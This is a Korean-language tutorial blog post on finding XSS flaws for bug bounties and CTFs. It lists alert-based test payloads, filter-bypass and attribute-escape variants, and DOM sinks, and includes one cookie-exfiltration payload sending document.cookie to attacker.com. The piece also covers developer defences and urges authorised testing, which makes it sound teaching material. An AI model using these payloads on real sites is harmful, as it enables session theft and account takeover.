본문으로 건너뛰기

XSS 헌팅: 기초부터 버그 바운티까지

크로스 사이트 스크립팅(XSS)은 오늘날 웹 애플리케이션에서 가장 흔한 취약점 중 하나로 남아 있다. 수십 년 전부터 알려진 취약점임에도 개발자들이 같은 실수를 계속 반복하기 때문에, XSS 헌팅은 버그 바운티 헌터와 CTF 플레이어 모두에게 수익성 높은 스킬이다.

XSS란?

XSS는 공격자가 악성 JavaScript를 웹 페이지에 주입해서 다른 사용자의 브라우저에서 실행될 때 발생한다. 사용자 입력이 페이지에 표시되기 전에 제대로 정제되지 않을 때 일어난다. 영향 범위는 쿠키 탈취부터 완전한 계정 탈취까지 다양하다.

세 가지 주요 유형이 있다:

Reflected XSS: 페이로드가 응답에 즉시 반사된다. 검색창과 에러 메시지에서 흔하다.

Stored XSS: 페이로드가 데이터베이스에 저장되어 누군가가 그 데이터를 볼 때마다 실행된다. 댓글 섹션이나 사용자 프로필을 떠올려라.

DOM 기반 XSS: 취약점이 클라이언트 사이드 JavaScript 자체에 존재하며, 페이지가 사용자 제어 데이터로 DOM을 동적으로 업데이트한다.

첫 XSS 찾기

간단하게 시작하라. 사용자 입력이 페이지에 나타나는 모든 곳을 찾아라. 흔한 위치:

  • 검색 기능
  • 로그인 에러 메시지
  • 사용자 프로필과 바이오
  • 댓글 섹션
  • 페이지에 표시되는 URL 파라미터
  • 파일 업로드 이름
  • 커스텀 에러 페이지

클래식 페이로드로 시작하라: <script>alert(1)</script>

필터링된다면 변형을 시도하라:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
javascript:alert(1)
<iframe src="javascript:alert(1)">

필터 우회

실제 애플리케이션에는 필터가 있다. 여기서 창의성이 중요하다.

대소문자 변형: 일부 필터는 소문자만 확인한다. <ScRiPt>alert(1)</sCrIpT> 시도

인코딩 트릭: HTML 엔티티, 유니코드, URL 인코딩 사용:

&lt;script&gt;alert(1)&lt;/script&gt;
\u003cscript\u003ealert(1)\u003c/script\u003e
%3Cscript%3Ealert(1)%3C/script%3E

이벤트 핸들러: 스크립트 태그가 차단되면 수십 개의 HTML 이벤트가 JavaScript를 실행할 수 있다:

<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>

속성 탈출: 입력이 HTML 속성 안에 들어간다면 먼저 닫아라:

" onmouseover=alert(1) //
' onfocus=alert(1) autofocus='

대안 문자열 사용: 괄호가 차단되면 템플릿 리터럴 사용:

<script>alert`1`</script>

DOM 기반 XSS

이것은 취약점이 JavaScript 자체에 있기 때문에 다른 접근이 필요하다. 다음 코드를 찾아라:

document.write(location.hash);
element.innerHTML = userInput;
eval(userInput);

페이지 소스에서 다음을 확인하라:

  • innerHTML
  • document.write
  • eval()
  • 문자열 인자를 받는 setTimeout()
  • location.href 할당

URL 프래그먼트(#payload), 쿼리 파라미터, JavaScript가 읽어서 페이지를 수정하는 모든 데이터를 퍼징하라.

테스팅 도구

브라우저 DevTools: 첫 번째 방어선이다. 콘솔의 에러를 확인하고 Elements 탭으로 입력이 어떻게 렌더링되는지 확인하라.

Burp Suite: 요청을 가로채서 파라미터를 수정한다. Intruder 기능으로 페이로드 퍼징을 자동화할 수 있다.

XSS Hunter: 블라인드 XSS를 캡처한다. 본인 서버로 콜백하는 페이로드를 설정하면, 즉시 실행을 볼 수 없는 Stored XSS에 유용하다.

브라우저 확장: XSS Validator, Hackbar, 커스텀 북마클릿이 테스팅 속도를 높여준다.

실전 예시

example.com/search?q=test에서 검색 기능을 발견했다. 검색어가 결과에 나타난다: "Results for: test"

시도: example.com/search?q=<script>alert(1)</script>

필터링되면 HTML 소스를 살펴보라. 이렇게 생겼을 수 있다:

<div>Results for: &lt;script&gt;alert(1)&lt;/script&gt;</div>

꺾쇠 괄호가 인코딩되어 있다. 하지만 입력이 속성 안에도 들어간다면?

<input type="text" value="your_input" />

시도: example.com/search?q=" onfocus=alert(1) autofocus="

결과:

<input type="text" value="" onfocus=alert(1) autofocus="" />

성공! 속성에서 탈출해서 자체 이벤트를 주입했다.

실제 임팩트

CTF에서 XSS는 종종 쿠키 탈취(관리자 봇이 링크를 방문)나 클라이언트 사이드 검증 우회로 이어진다. 버그 바운티에서는 실제 임팩트를 증명하라:

  • 세션 쿠키 탈취: <script>fetch('https://attacker.com?c='+document.cookie)</script>
  • 민감한 페이지에서 키 입력 캡처
  • 피해자로서 작업 수행 (비밀번호 변경, 돈 이체)
  • 페이지 변조
  • 피싱 사이트로 리다이렉트

항상 권한이 있는 타깃에서 테스트하고 책임 있는 공개를 따르라.

개발자를 위한 방어

방어 측이라면:

  • 출력을 제대로 인코딩하라 (HTML 컨텍스트에는 HTML 엔티티, JS 컨텍스트에는 JavaScript 이스케이핑)
  • Content Security Policy 헤더 사용
  • 쿠키에 HTTPOnly 플래그 설정
  • 입력 유효성 검사 (블랙리스트보다 화이트리스트가 낫다)
  • 기본적으로 자동 이스케이핑하는 현대 프레임워크 사용 (React, Vue)

마치며

XSS 헌팅은 예술과 과학의 결합이다. 브라우저가 HTML을 파싱하는 방식과 애플리케이션이 입력을 처리하는 방식 둘 다 이해해야 한다. 간단한 페이로드로 시작하고, 필터가 어떻게 동작하는지 연구하고, 우회 기법을 쌓아가라.

모든 애플리케이션이 다르기 때문에 페이로드 컬렉션을 유지하고 각 타깃에 맞게 수정하라. 연습할수록 취약한 패턴을 더 빠르게 발견하게 된다. CTF 플래그를 위해서든 버그 바운티를 위해서든, XSS 스킬은 2026년에도 여전히 가치 있다.

해피 헌팅!